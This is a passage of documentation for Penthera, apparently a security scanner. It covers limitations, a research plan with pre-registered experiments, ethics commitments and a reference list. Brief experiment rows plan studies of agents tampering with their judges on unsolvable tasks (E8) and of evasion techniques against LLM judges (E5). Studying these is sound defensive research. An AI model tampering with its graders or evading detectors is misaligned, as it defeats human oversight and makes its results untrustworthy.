  - A fix counts as verified when the finding disappears and the project's own
    tests pass. Weak or missing tests mean weak verification.
  - Built-in recipes cover a handful of frameworks and finding types.
- **Runtime advisories.**
  - Only the homepage response is fingerprinted, so a PHP backend behind a CDN
    or reverse proxy that strips headers is invisible from outside.
  - The answers are only as current as the packs. An advisory published after
    the last pack is not checked until a new pack is loaded.
  - Distribution builds always need a check on the server; Penthera does not
    read distribution security trackers.
- **Live AI features.** LLM endpoint checks (rate limits on chat endpoints,
  exposed model servers) are not yet available.

### How far the evidence reaches

- **Small sample.** The bundled benchmark scores 24 findings. Precision 0.88 and
  recall 0.91 come with wide 95% Wilson intervals (0.69 to 0.96 and 0.73 to 0.98), so
  small changes in either are not meaningful.
- **Built by the same team.** The benchmark targets, their labels, and the
  scanner were written by the same people, so the numbers measure regressions
  and the false-positive controls, not accuracy on arbitrary applications.
  Independent benchmarks such as the OWASP Benchmark (OWASP Foundation, n.d.-a)
  and the benchmarking approach of Antunes and Vieira (2010, 2015) are the model
  for a fairer comparison.
- **Possible overfitting.** Probes were tuned while looking at these targets, so
  they may perform better here than elsewhere.
- **Single labeler.** Ground truth was labeled without a second, independent
  labeler, so label errors are not measured.
- **Recall is only partly known.** Recall counts misses of issues we planted. On
  real code, the full set of issues is unknown.
- **No head-to-head comparison** with other tools under the same conditions has
  been run.
- **Confidence labels are not calibrated.** The labels (confirmed, likely,
  potential, needs human review) are expert judgment about each probe's
  method, not measured probabilities. Severity mappings are judgment too.
- **References support the design, not the outcome.** The literature cited here
  explains why each choice was made. It does not show that Penthera's
  implementation achieves what the cited work describes. Some incident
  descriptions in the docs rely on vendor and industry reports that were not
  independently verified.
- Measuring real-world accuracy with an independent, pre-registered study is the
  first goal of the [research plan](https://penthera.org/docs/vision-2.0.md#research-program) (experiment E1).

### Reproducibility

- Timing-based probes depend on network and machine load. Results can vary
  between runs, and the confirmation rules trade some sensitivity for stability.
- Benchmark runs are seeded, but live scans of real applications are not
  deterministic, because the applications are not.
- The full test suite can be flaky on a heavily loaded machine. CI runs it on
  clean runners.

### How it is built

- Most of the code (107 of 117 non-merge commits up to v1.7.0) was written with
  generative AI under the maintainer's direction ([details](https://penthera.org/docs/genai.md)).
- Generated code passes the same tests, static analysis, and release gates.
  But it has had less line-by-line human scrutiny than hand-written code would.
  An independent review on 2026-10-19 found and fixed three high-severity bugs,
  and no external security audit has been done yet.

### Compliance output

Compliance output for the NIS2 Directive (European Parliament and Council of the
European Union, 2022) and the Cyber Resilience Act is evidence toward a duty of
care, not a certification and not legal advice.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/vision-2.0.md · https://penthera.org/docs/vision-2.0.md -->

# Penthera 2.0: research plan

> **Project page.** For researchers, funders and pros asking "how do you know
> it works, and what will you measure next?"

Written 2026-10-19, after v1.7.0; consolidated 2026-10-20. This is the long-term
plan: the gaps we see, the experiments that decide how to close them, and the
quality gates every release must pass. What ships next, in order, is in the
[roadmap](https://github.com/danoszz/penthera/blob/main/ROADMAP.md); the reasoning behind today's decisions is in the
[manifesto](https://penthera.org/docs/MANIFESTO.md). Challenge any of it in
[Discussions](https://github.com/danoszz/penthera/discussions).

Penthera is an R&D project with a usable tool. Every feature follows the same
path: a **method** written down before the work, **evidence** from a
pre-registered experiment, and then the **tool**, which ships only what held
up.

## Goals for 2.0

Not the most features or the most AI. Penthera 2.0 should be, measurably:

1. **Accurate on real code.** Published precision and recall on a large,
   independently labelled set of real projects, with confidence intervals,
   reproducible by anyone.
2. **Good at closing issues, not only finding them.** The share of findings
   fixed *and verified* without breaking tests.
3. **Trustworthy.** Local first, no runtime update channel, every decision
   explainable, and robust when an attacker tries to fool it.
4. **Easy to start.** One command, useful in under two minutes.

Each goal has a metric and an experiment below. A feature that does not move one
of these metrics does not ship.

## The gaps, and how 2.0 closes them

| Gap today | Why it matters | 2.0 answer |
|---|---|---|
| Accuracy measured on 22 findings in our own labs | We cannot claim real-world quality | **Penthera Bench:** a labelled corpus of real projects (E1) |
| Finds only what a rule describes | Misses variants of known issues | Model-proposed candidates, verified by deterministic checks (E3) |
| Fixes only what a built-in recipe covers | Many findings stay open | Propose-and-verify fixing with local models (E3) |
| "Learning" is counting | The memory counts outcomes; it does not adapt in a principled way | Bandit-based ranking of probes and recipes (E2) |
| Malicious-package detection is rule-based | New malware families slip past fixed rules | An interpretable, offline classifier over capability features (E4) |
| No evidence about LLM judges vs rules | Our core decision rests on other people's results | Our own adversarial study (E5) |
| Hard to start for non-experts | Adoption | Shipped in 1.7.0 (`npx penthera`); next, an MCP server so AI assistants can call Penthera |

## AI roadmap

The rule that runs through all of it: **models propose, deterministic checks
decide.** Penthera's scanner is a verifier, and verifiable feedback is what
makes model output reliable enough to use.

### Phase A: measure (first)
- Build Penthera Bench (E1). Nothing else is evaluated until it exists.

### Phase B: learn what to try first
- Replace counting with a **contextual bandit** (Thompson sampling) that picks
  the order of probes and fix recipes per framework and project, from the local
  memory. Small, offline, explainable: it shows why it chose what it chose (E2).

### Phase C: propose and verify
- **Local models propose; Penthera verifies.** When no recipe matches, a local
  model proposes a fix. It is applied on a branch, re-scanned, and tested, and
  kept only if the finding is gone and nothing else broke. The same pattern
  proposes *candidate* findings that a deterministic check must confirm (E3).
- **Embeddings** (small open-weight models, run locally) to group duplicate
  findings and to find packages whose code resembles known malware families.

### Phase D: score what rules miss
- An **interpretable classifier** (gradient-boosted trees) over the capability
  features `penthera deps` already extracts. It is trained on public malicious
  package data and reports a score together with the features that drove it,
  never a bare verdict (E4).

### Phase E: research, not product (yet)
- **Reinforcement learning from verifier feedback:** train a small open model
  to write secure fixes, with Penthera's re-scan and tests as the reward.
  Publishable, and it only reaches the product if it beats Phase C.

### Local models
- Runtimes: Ollama today; llama.cpp and MLX (Apple silicon) next. Penthera talks
  to `127.0.0.1` only.
- Models: small open-weight code and embedding models that run on a laptop.
  Penthera documents which ones were tested, and with what results, rather than
  hard-coding one.
- Hosted models (frontier LLMs, fast structured-decision models such as
  Typesafe's Jev with calibrated outputs) are evaluated as **opt-in**
  alternatives in the same experiments. They become an option only if they beat
  the local baseline enough to justify sending data off the machine, and they
  are never the default.

## Research program

We run our own research, to the standard we would expect in a paper.

### Principles
- **Pre-register.** Before running an experiment, commit its hypothesis,
  metrics, sample size, and analysis to `docs/research/prereg/` with a date.
  Results that deviate from the plan are reported as exploratory.
- **Report effect sizes and intervals, not only p-values.** Every result gives
  the estimate, a 95% confidence interval, and the test used. α = 0.05,
  two-sided, power 0.80 unless stated otherwise.
- **Correct for multiple comparisons** within an experiment (Holm–Bonferroni).
- **Separate data honestly.** Development and test sets never overlap. Where time
  matters (malware), split by date: train on older, test on newer.
- **Two labellers.** Ground truth is labelled independently by two people;
  agreement must reach Cohen's κ ≥ 0.70 before results are used. Disagreements
  are resolved and logged.
- **Publish everything reproducible:** code, labels where licensing allows,
  seeds, and the exact Penthera version.

### Experiments

| | Question | Design | Primary metric | Sample size (α .05, power .80) |
|---|---|---|---|---|
| **E1** | How accurate is Penthera on real code? | Stratified sample of real open-source web apps and agent setups; findings labelled by two people | Precision and recall with Wilson 95% CI | ≥ 307 labelled findings for a ±4 pt interval at p ≈ 0.85 (196 for ±5 pt); ≥ 150 projects across 5 frameworks |
| **E2** | Does a bandit find real issues faster than a fixed order? | Within-project paired comparison on Bench projects | Time and requests to first true finding | 90 paired runs (paired test, d = 0.3) |
| **E3** | Does propose-and-verify fix more than recipes alone? | Same findings, both arms, paired | Share fixed *and* verified with no test regressions | 155 findings (McNemar, 15% vs 5% discordant); 173 per arm if unpaired (40% → 55%) |
| **E4** | Does a classifier catch malicious packages that rules miss? | Temporal split on public malicious-package data plus a benign sample | AUC, precision at fixed recall, vs rules alone (DeLong test) | ≥ 500 malicious and ≥ 5,000 benign packages in the test period |
| **E5** | Are deterministic checks more robust than LLM judges? | Adversarial set of skills and MCP configs using published evasion techniques; both detectors on every item | Evasion rate (paired, McNemar) | 155 adversarial items for the effect above; more if discordance is lower |
| **E6** | Does Penthera save time for real users? | Small user study: newcomers secure a seeded app with and without Penthera | Issues fixed in 30 minutes; SUS usability score | 24 to 30 participants, crossover design |
| **E7** | Does a deterministic audit find agent-environment misconfigurations? | Labelled corpus of public agent setups (devcontainers, agent CI workflows, MCP configs); two labellers. Proposed in [agent-incidents-2026.md](https://github.com/danoszz/penthera/blob/main/docs/research/agent-incidents-2026.md) | Precision and recall of the planned harness rules ([spec](https://github.com/danoszz/penthera/blob/main/docs/research/spec-harness-rules.md)) | To be set in its pre-registration |
| **E10** | How does Penthera do on known-vulnerable apps it wasn't built on? | Six documented apps (Juice Shop, DVNA, NodeGoat, DVWA, crAPI, WebGoat), answer keys frozen before scanning, run offline. [Draft protocol](https://github.com/danoszz/penthera/blob/main/docs/research/prereg/E10-known-vulnerable-apps.md), [pilot](https://github.com/danoszz/penthera/blob/main/bench/known-vuln/RESULTS.md) | Precision and recall per app and class, Wilson intervals | 82 in-scope documented items; pilot on two apps |
| **E8** | Do harness guardrails reduce judge tampering? | 2×2: `AGENTS.md` block × protected judges, benign coding tasks with one third unsolvable, local open-weight models offline. [Draft pre-registration](https://github.com/danoszz/penthera/blob/main/docs/research/prereg/E8-harness-guardrails.md) | Tamper-attempt rate and safe-exit rate on unsolvable tasks | 960 unsolvable runs (≥ 138 effective per level after clustering) |

Sample sizes are planning minimums from standard power calculations; each
pre-registration states the exact calculation and assumptions.

### Threats to validity

These are the known weaknesses of the program itself, and how each is handled.

- **Selection bias.** Public, permissively licensed repositories differ from
  private company code. Results generalise to similar open-source projects, not
  to every codebase. Mitigation: stratify by framework and project size, and
  report per stratum.
- **Labeller bias.** The maintainer built the tool and is a labeller. Mitigation:
  a second, independent labeller; blind labelling (labellers do not see which
  tool raised a finding); κ ≥ 0.70 before results count.
- **Incomplete ground truth.** Nobody knows every issue in a real project, so
  recall is estimated, not measured. Each pre-registration states its estimation
  method (for example a blind labelled sample of code Penthera did not flag) and
  its error.
- **Temporal leakage** in the malicious-package study (E4): training on data from
  after the test period would inflate results. Mitigation: a strict date split.
- **Adversarial sets built by us** (E5) may not reflect what real attackers do.
  Mitigation: use published evasion techniques and invite outside contributions
  of test cases.
- **Model drift.** Hosted models change without notice, and local models change
  between versions. Each run records exact model names, versions, and settings.
- **Researcher incentives.** The maintainer benefits if Penthera looks good.
  Mitigation: pre-registration, publishing negative results, and releasing
  labels and code so others can re-run the analysis.
- **Small user study (E6).** 24 to 30 participants, likely students and
  early-career developers. Results indicate usability for newcomers, not for
  experienced security teams.

### Data sources
- Real projects: permissively licensed public repositories, analysed **statically
  on a local clone**. No live scanning of anyone else's systems.
- Malicious packages: public datasets such as the OSV malicious-packages
  repository and academic collections. They are downloaded once, used offline,
  and handled in an isolated environment.
- Agent setups: public skills and MCP server repositories, read only.

## Safety and ethics: research nobody needs to block

- **Only our own targets are tested live:** our labs, deliberately vulnerable
  applications, and apps whose owners give written permission.
- **Static analysis of public code only:** we read code, we do not attack
  deployments.
- **Responsible disclosure:** anything real we find in someone's project is
  reported privately first, with a 90-day window, before any publication.
  Published results never include unpatched details.
- **No offensive tooling:** we do not generate attack payloads for AI systems or
  build tools aimed at targets the user does not own. Experiments are designed
  around *defensive verification*.
- **Ethics review:** studies involving people (E6) go through the university's
  ethics process; participants consent and can withdraw.
- **Respect platform rules:** registry and GitHub API limits are honoured. Bulk
  data comes from published datasets and mirrors, not scraping.
- **Malware hygiene:** malicious samples are never executed, stay offline, and
  are stored encrypted.
- **The tool's own principles still hold:** experiments never add telemetry or a
  runtime update channel to the shipped product.

## Quality gates

Quality is measured, not felt. Each gate is checked by the internal audit
(`npm run audit:internal`) or CI, or is a stated target with a date it is
checked.

| Area | Gate |
|---|---|
| Accuracy | Benchmark precision and recall never drop by more than 0.02 between releases (audit). Every false positive a user reports becomes a regression test before it is fixed. The benchmark grows beyond the mock server: OWASP Juice Shop, crAPI, a vulnerable Next.js app, and fixture sets for `agents` and `deps` |
| First run | From `npx penthera` to a useful result in under two minutes on a fresh Next.js or Express app, measured on a clean machine each release. Every error says what happened and what to do next; no stack traces for expected failures. Works on macOS, Linux and Windows |
| Documentation | Each page answers one user question and follows the [voice guide](https://github.com/danoszz/penthera/blob/main/docs/voice.md). Every internal link resolves (audit). Each command's `--help` and its docs page are tested against the same source |
| Stable interfaces | A versioned JSON schema for reports, the policy file and rule packs, checked in CI. One minor release of warnings before anything breaks |
| Penthera's own security | A clean self-scan on every release (audit). A fuzz or hostile-input test for everything that parses untrusted input. An external review of the fix loop, the install firewall and the dashboard before 2.0 |
| Real-world use | Three pilot projects run Penthera before each deploy for a month; their feedback sets the next priorities. Findings and fixes are published as short case studies, with permission |

## Milestones toward 2.0

Research milestones are not tied to version numbers: a result ships in the
next minor release after it holds up. 1.9.0 is on npm `latest` (see the
[roadmap](https://github.com/danoszz/penthera/blob/main/ROADMAP.md#where-it-stands)), so the work below lands in 1.10 and
later.

| Milestone | Contents | Done when |
|---|---|---|
| Phase A: measure | Penthera Bench v1 and E1; pre-registrations for E2 to E5; an MCP server | Real-world precision and recall published with intervals |
| Phases B and C: learn and propose | Bandit ranking (E2), propose-and-verify fixing with local models (E3) | Each beats its baseline in its pre-registered test, or is dropped |
| 2.0 | Package classifier (E4), adversarial study (E5), stable interfaces | E4 and E5 published; CLI flags, report schema, policy file and rule-pack format frozen and covered by compatibility tests |
| Research track | RL from verifier feedback; user study (E6); paper | Results published, positive or not |

Negative results are published too. If a model-based approach does not beat the
rules, that is a finding, and Penthera keeps the rules.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/references.md · https://penthera.org/docs/references.md -->

# References

The research and standards that Penthera's [methodology](https://penthera.org/docs/METHODOLOGY.md) and per-finding sources cite, in APA 7th edition style, grouped by topic and sorted alphabetically by first author within each group. The BibTeX source is [references.bib](https://github.com/danoszz/penthera/blob/main/docs/references.bib); this page is generated from it by `node scripts/build-references.mjs`, and a test fails if the two drift or if a citation in METHODOLOGY.md does not resolve to an entry here.

Every entry was checked against the publisher or standards body (Crossref DOI metadata, USENIX, NDSS, arXiv, the RFC Editor, OWASP, MITRE, OASIS, the EU Publications Office) on 2026-10-19. Entries that could not be verified were left out, and so were fields (pages, volume, issue, editors) that the publisher's metadata does not record. Each entry has an anchor named after its BibTeX key, for example [`#bau2010state`](#bau2010state), which is also the key reports and SARIF use.

Entries marked † are further reading: they inform the work but are not cited in the methodology.

## Black-box scanning and benchmarking

<a id="antunes2010benchmarking"></a>Antunes, N., & Vieira, M. (2010). Benchmarking vulnerability detection tools for web services. In *2010 IEEE International Conference on Web Services (ICWS)* (pp. 203–210). IEEE. <https://doi.org/10.1109/ICWS.2010.76>

<a id="antunes2015assessing"></a>Antunes, N., & Vieira, M. (2015). Assessing and comparing vulnerability detection tools for web services: Benchmarking approach and examples. *IEEE Transactions on Services Computing*, *8*(2), 269–283. <https://doi.org/10.1109/TSC.2014.2310221>

<a id="bau2010state"></a>Bau, J., Bursztein, E., Gupta, D., & Mitchell, J. (2010). State of the art: Automated black-box web application vulnerability testing. In *2010 IEEE Symposium on Security and Privacy* (pp. 332–345). IEEE. <https://doi.org/10.1109/SP.2010.27>

<a id="doupe2010johnny"></a>Doupé, A., Cova, M., & Vigna, G. (2010). Why Johnny can't pentest: An analysis of black-box web vulnerability scanners. In C. Kreibich & M. Jahnke (Eds.), *Detection of Intrusions and Malware, and Vulnerability Assessment (DIMVA 2010)* (pp. 111–131). Springer. <https://doi.org/10.1007/978-3-642-14215-4_7>

<a id="durumeric2014heartbleed"></a>Durumeric, Z., Li, F., Kasten, J., Amann, J., Beekman, J., Payer, M., Weaver, N., Adrian, D., Paxson, V., Bailey, M., & Halderman, J. A. (2014). The matter of Heartbleed. In *Proceedings of the 2014 Conference on Internet Measurement Conference (IMC '14)* (pp. 475–488). ACM. <https://doi.org/10.1145/2663716.2663755>

<a id="kar2022httpfuzz"></a>Kar, A., Natadze, A., Branca, E., & Stakhanova, N. (2022). HTTPFuzz: Web server fingerprinting with HTTP request fuzzing. In *Proceedings of the 19th International Conference on Security and Cryptography* (pp. 261–271). SCITEPRESS. <https://doi.org/10.5220/0011328900003283>

<a id="lee2002detecting"></a>Lee, D., Rowe, J., Ko, C., & Levitt, K. (2002). Detecting and defending against web-server fingerprinting. In *18th Annual Computer Security Applications Conference, 2002. Proceedings.* (pp. 321–330). IEEE Computer Society. <https://doi.org/10.1109/CSAC.2002.1176304>

<a id="lyon2009nmap"></a>Lyon, G. (2009). *Nmap network scanning: The official Nmap project guide to network discovery and security scanning*. Insecure.Com LLC. <https://nmap.org/book/vscan.html>

<a id="nappa2015clones"></a>Nappa, A., Johnson, R., Bilge, L., Caballero, J., & Dumitras, T. (2015). The attack of the clones: A study of the impact of shared code on vulnerability patching. In *2015 IEEE Symposium on Security and Privacy* (pp. 692–708). IEEE. <https://doi.org/10.1109/SP.2015.48>

<a id="owaspbenchmark"></a>OWASP Foundation. (n.d.-a). *OWASP Benchmark project* (Version 1.2). Retrieved October 19, 2026, from <https://owasp.org/www-project-benchmark/>

<a id="nucleiphpdetect"></a>ProjectDiscovery. (n.d.). *Nuclei-templates: Php-detect.yaml*. Retrieved October 21, 2026, from <https://github.com/projectdiscovery/nuclei-templates/blob/main/http/technologies/php-detect.yaml>

<a id="vasek2016hacking"></a>Vasek, M., Wadleigh, J., & Moore, T. (2016). Hacking is not random: A case-control study of webserver-compromise risk. *IEEE Transactions on Dependable and Secure Computing*, 206–219. <https://doi.org/10.1109/TDSC.2015.2427847>

## Security design principles

<a id="saltzer1975protection"></a>Saltzer, J. H., & Schroeder, M. D. (1975). The protection of information in computer systems. *Proceedings of the IEEE*, *63*(9), 1278–1308. <https://doi.org/10.1109/PROC.1975.9939>

<a id="schneier1999secure"></a>† Schneier, B., & Kelsey, J. (1999). Secure audit logs to support computer forensics. *ACM Transactions on Information and System Security*, *2*(2), 159–176. <https://doi.org/10.1145/317087.317089>

## Threat modeling

<a id="kohnfelder1999threats"></a>Kohnfelder, L., & Garg, P. (1999). *The threats to our products* [Internal publication]. Microsoft. Retrieved October 19, 2026, from <https://shostack.org/files/microsoft/The-Threats-To-Our-Products.docx>

<a id="shostack2014threat"></a>Shostack, A. (2014). *Threat modeling: Designing for security*. Wiley. <https://www.wiley-vch.de/de/fachgebiete/computer-und-informatik/threat-modeling-978-1-118-80999-0>

## Software supply chain

<a id="ladisa2023sok"></a>Ladisa, P., Plate, H., Martinez, M., & Barais, O. (2023). SoK: Taxonomy of attacks on open-source software supply chains. In *2023 IEEE Symposium on Security and Privacy (SP)* (pp. 1509–1526). IEEE. <https://doi.org/10.1109/SP46215.2023.10179304>

<a id="lauinger2017thou"></a>Lauinger, T., Chaabane, A., Arshad, S., Robertson, W., Wilson, C., & Kirda, E. (2017). Thou shalt not depend on me: Analysing the use of outdated JavaScript libraries on the web. In *Proceedings 2017 Network and Distributed System Security Symposium*. Internet Society. <https://doi.org/10.14722/ndss.2017.23414>

<a id="ohm2020backstabber"></a>Ohm, M., Plate, H., Sykosch, A., & Meier, M. (2020). Backstabber's knife collection: A review of open source software supply chain attacks. In C. Maurice, L. Bilge, G. Stringhini, & N. Neves (Eds.), *Detection of Intrusions and Malware, and Vulnerability Assessment (DIMVA 2020)* (pp. 23–43). Springer. <https://doi.org/10.1007/978-3-030-52683-2_2>

<a id="samuel2010survivable"></a>Samuel, J., Mathewson, N., Cappos, J., & Dingledine, R. (2010). Survivable key compromise in software update systems. In *Proceedings of the 17th ACM Conference on Computer and Communications Security (CCS '10)* (pp. 61–72). ACM. <https://doi.org/10.1145/1866307.1866315>

<a id="thompson1984reflections"></a>Thompson, K. (1984). Reflections on trusting trust. *Communications of the ACM*, *27*(8), 761–763. <https://doi.org/10.1145/358198.358210>

<a id="torresarias2019intoto"></a>Torres-Arias, S., Afzali, H., Kuppusamy, T. K., Curtmola, R., & Cappos, J. (2019). in-toto: Providing farm-to-table guarantees for bits and bytes. In *28th USENIX Security Symposium (USENIX Security 19)* (pp. 1393–1410). USENIX Association. <https://www.usenix.org/conference/usenixsecurity19/presentation/torres-arias>

<a id="zimmermann2019small"></a>Zimmermann, M., Staicu, C.-A., Tenny, C., & Pradel, M. (2019). Small world with high risks: A study of security threats in the npm ecosystem. In *28th USENIX Security Symposium (USENIX Security 19)* (pp. 995–1010). USENIX Association. <https://www.usenix.org/conference/usenixsecurity19/presentation/zimmerman>

## Secret leakage

<a id="basak2023secretbench"></a>Basak, S. K., Neil, L., Reaves, B., & Williams, L. (2023). SecretBench: A dataset of software secrets. In *2023 IEEE/ACM 20th International Conference on Mining Software Repositories (MSR)* (pp. 347–351). IEEE. <https://doi.org/10.1109/MSR59073.2023.00053>

<a id="meli2019bad"></a>Meli, M., McNiece, M. R., & Reaves, B. (2019). How bad can it Git? Characterizing secret leakage in public GitHub repositories. In *Proceedings 2019 Network and Distributed System Security Symposium*. Internet Society. <https://doi.org/10.14722/ndss.2019.23418>

## Web application security

<a id="barth2008robust"></a>Barth, A., Jackson, C., & Mitchell, J. C. (2008). Robust defenses for cross-site request forgery. In *Proceedings of the 15th ACM Conference on Computer and Communications Security (CCS '08)* (pp. 75–88). ACM. <https://doi.org/10.1145/1455770.1455782>

<a id="chen2018cors"></a>Chen, J., Jiang, J., Duan, H., Wan, T., Chen, S., Paxson, V., & Yang, M. (2018). We still don't have secure cross-domain requests: An empirical study of CORS. In *27th USENIX Security Symposium (USENIX Security 18)* (pp. 1079–1093). USENIX Association. <https://www.usenix.org/conference/usenixsecurity18/presentation/chen-jianjun>

<a id="crosby2009opportunities"></a>Crosby, S. A., Wallach, D. S., & Riedi, R. H. (2009). Opportunities and limits of remote timing attacks. *ACM Transactions on Information and System Security*, *12*(3), 1–29. <https://doi.org/10.1145/1455526.1455530>

<a id="fett2016comprehensive"></a>Fett, D., Küsters, R., & Schmitz, G. (2016). A comprehensive formal security analysis of OAuth 2.0. In *Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security (CCS '16)* (pp. 1204–1215). ACM. <https://doi.org/10.1145/2976749.2978385>

<a id="hodges2012rfc6797"></a>Hodges, J., Jackson, C., & Barth, A. (2012). *HTTP strict transport security (HSTS)* (RFC 6797). RFC Editor. <https://doi.org/10.17487/RFC6797>

<a id="jones2015rfc7519"></a>Jones, M., Bradley, J., & Sakimura, N. (2015). *JSON web token (JWT)* (RFC 7519). RFC Editor. <https://doi.org/10.17487/RFC7519>

<a id="kitterman2014rfc7208"></a>Kitterman, S. (2014). *Sender policy framework (SPF) for authorizing use of domains in email, version 1* (RFC 7208). RFC Editor. <https://doi.org/10.17487/RFC7208>

<a id="kocher1996timing"></a>Kocher, P. C. (1996). Timing attacks on implementations of Diffie-Hellman, RSA, DSS, and other systems. In N. Koblitz (Ed.), *Advances in Cryptology – CRYPTO '96* (pp. 104–113). Springer. <https://doi.org/10.1007/3-540-68697-5_9>

<a id="kucherawy2015rfc7489"></a>Kucherawy, M., & Zwicky, E. (2015). *Domain-based message authentication, reporting, and conformance (DMARC)* (RFC 7489). RFC Editor. <https://doi.org/10.17487/RFC7489>

<a id="lavrenovs2018http"></a>Lavrenovs, A., & Melon, F. J. R. (2018). HTTP security headers analysis of top one million websites. In *2018 10th International Conference on Cyber Conflict (CyCon)* (pp. 345–370). IEEE. <https://doi.org/10.23919/CYCON.2018.8405025>

<a id="lekies2013flows"></a>Lekies, S., Stock, B., & Johns, M. (2013). 25 million flows later: Large-scale detection of DOM-based XSS. In *Proceedings of the 2013 ACM SIGSAC Conference on Computer and Communications Security (CCS '13)* (pp. 1193–1204). ACM. <https://doi.org/10.1145/2508859.2516703>

<a id="lodderstedt2025rfc9700"></a>Lodderstedt, T., Bradley, J., Labunets, A., & Fett, D. (2025). *Best current practice for OAuth 2.0 security* (RFC 9700, BCP 240). RFC Editor. <https://doi.org/10.17487/RFC9700>

<a id="owaspwstg42"></a>OWASP Foundation. (n.d.-b). *OWASP Web Security Testing Guide, version 4.2*. Retrieved October 19, 2026, from <https://wstg.owasp.org/v4.2/>

<a id="owasp2021top10"></a>OWASP Foundation. (2021). *OWASP Top 10:2021*. Retrieved October 19, 2026, from <https://top10.owasp.org/2021>

<a id="owasp2023api"></a>OWASP Foundation. (2023). *OWASP Top 10 API security risks – 2023*. OWASP API Security Project. Retrieved October 19, 2026, from <https://owasp.org/API-Security/editions/2023/en/0x11-t10/>

<a id="owasp2025top10"></a>OWASP Foundation. (2025c). *OWASP Top 10:2025*. Retrieved October 19, 2026, from <https://top10.owasp.org/2025>

<a id="phpexposephp"></a>The PHP Group. (n.d.-a). *Description of core php.ini directives: Expose\_php*. PHP Manual. Retrieved October 21, 2026, from <https://www.php.net/manual/en/ini.core.php>

<a id="sakimura2015rfc7636"></a>Sakimura, N., Bradley, J., & Agarwal, N. (2015). *Proof key for code exchange by OAuth public clients* (RFC 7636). RFC Editor. <https://doi.org/10.17487/RFC7636>

<a id="sheffer2020rfc8725"></a>Sheffer, Y., Hardt, D., & Jones, M. (2020). *JSON web token best current practices* (RFC 8725, BCP 225). RFC Editor. <https://doi.org/10.17487/RFC8725>

<a id="stock2014precise"></a>Stock, B., Lekies, S., Mueller, T., Spiegel, P., & Johns, M. (2014). Precise client-side protection against DOM-based cross-site scripting. In *23rd USENIX Security Symposium (USENIX Security 14)* (pp. 655–670). USENIX Association. <https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/stock>

<a id="stock2016hey"></a>Stock, B., Pellegrino, G., Rossow, C., Johns, M., & Backes, M. (2016). Hey, you have a problem: On the feasibility of Large-Scale web vulnerability notification. In *25th USENIX Security Symposium (USENIX Security 16)* (pp. 1015–1032). USENIX Association. <https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/stock>

<a id="weichselbaum2016csp"></a>Weichselbaum, L., Spagnuolo, M., Lekies, S., & Janc, A. (2016). CSP is dead, long live CSP! On the insecurity of whitelists and the future of Content Security Policy. In *Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security (CCS '16)* (pp. 1376–1387). ACM. <https://doi.org/10.1145/2976749.2978363>

## LLM and agent security

<a id="amodei2016concrete"></a>† Amodei, D., Olah, C., Steinhardt, J., Christiano, P., Schulman, J., & Mané, D. (2016). *Concrete problems in AI safety* [Preprint]. arXiv. <https://doi.org/10.48550/arXiv.1606.06565>

<a id="anthropic2026incidents"></a>† Anthropic. (2026, July 30). *Investigating three real-world incidents in our cybersecurity evaluations*. Retrieved October 20, 2026, from <https://www.anthropic.com/news/investigating-incidents-cybersecurity-evals>

<a id="baker2025monitoring"></a>† Baker, B., Huizinga, J., Gao, L., Dou, Z., Guan, M. Y., Madry, A., Zaremba, W., Pachocki, J., & Farhi, D. (2025). *Monitoring reasoning models for misbehavior and the risks of promoting obfuscation* [Preprint]. arXiv. <https://doi.org/10.48550/arXiv.2503.11926>

<a id="cloudflare2026securityaudit"></a>Cloudflare. (2026). *Security-audit-skill*. Retrieved October 22, 2026, from <https://github.com/cloudflare/security-audit-skill/tree/c1c8a8c>

<a id="ding2025primevul"></a>Ding, Y., Fu, Y., Ibrahim, O., Sitawarin, C., Chen, X., Alomair, B., Wagner, D., Ray, B., & Chen, Y. (2025). Vulnerability detection with code language models: How far are we? In *Proceedings of the 47th IEEE/ACM International Conference on Software Engineering (ICSE 2025)*. <https://doi.org/10.48550/arXiv.2403.18624>

<a id="greshake2023signed"></a>Greshake, K., Abdelnabi, S., Mishra, S., Endres, C., Holz, T., & Fritz, M. (2023). Not what you've signed up for: Compromising real-world LLM-integrated applications with indirect prompt injection. In *Proceedings of the 16th ACM Workshop on Artificial Intelligence and Security (AISec '23)* (pp. 79–90). ACM. <https://doi.org/10.1145/3605764.3623985>

<a id="liu2023prompt"></a>Liu, Y., Deng, G., Li, Y., Wang, K., Wang, Z., Wang, X., Zhang, T., Liu, Y., Wang, H., Zheng, Y., Zhang, L. Y., & Liu, Y. (2023). *Prompt injection attack against LLM-integrated applications* [Preprint]. arXiv. <https://doi.org/10.48550/arXiv.2306.05499>

<a id="metr2026investigation"></a>† METR, & Redwood Research. (2026, August 26). *Brief independent investigation of agents' behavior, reasoning and collaboration in the OpenAI / Hugging Face hacking incident*. Retrieved October 20, 2026, from <https://metr.org/hugging-face-incident-report-aug-2026.pdf>

<a id="mitreatlas"></a>The MITRE Corporation. (n.d.-b). *MITRE ATLAS: Adversarial Threat Landscape for AI Systems*. Retrieved October 19, 2026, from <https://atlas.mitre.org/>

<a id="openai2026incident"></a>† OpenAI. (2026, August 26). *OpenAI–Hugging Face incident: Technical report*. Retrieved October 20, 2026, from <https://cdn.openai.com/pdf/67869394-cb91-4c12-888c-5cbd85c7814c/OpenAI-Hugging-Face%20Incident-Technical-Report.pdf>

<a id="owasp2024llmtop10"></a>OWASP Foundation. (2024, November 17). *OWASP Top 10 for LLM applications 2025*. OWASP Gen AI Security Project. Retrieved October 19, 2026, from <https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/>

<a id="owasp2025mcptop10"></a>OWASP Foundation. (2025a). *OWASP MCP Top 10* [Beta]. Retrieved October 19, 2026, from <https://owasp.org/www-project-mcp-top-10/>

<a id="owasp2025agentic"></a>OWASP Foundation. (2025b, December 9). *OWASP Top 10 for agentic applications for 2026*. OWASP Gen AI Security Project. Retrieved October 19, 2026, from <https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/>

<a id="perez2022ignore"></a>Perez, F., & Ribeiro, I. (2022). *Ignore previous prompt: Attack techniques for language models* [Preprint]. arXiv. <https://doi.org/10.48550/arXiv.2211.09527>

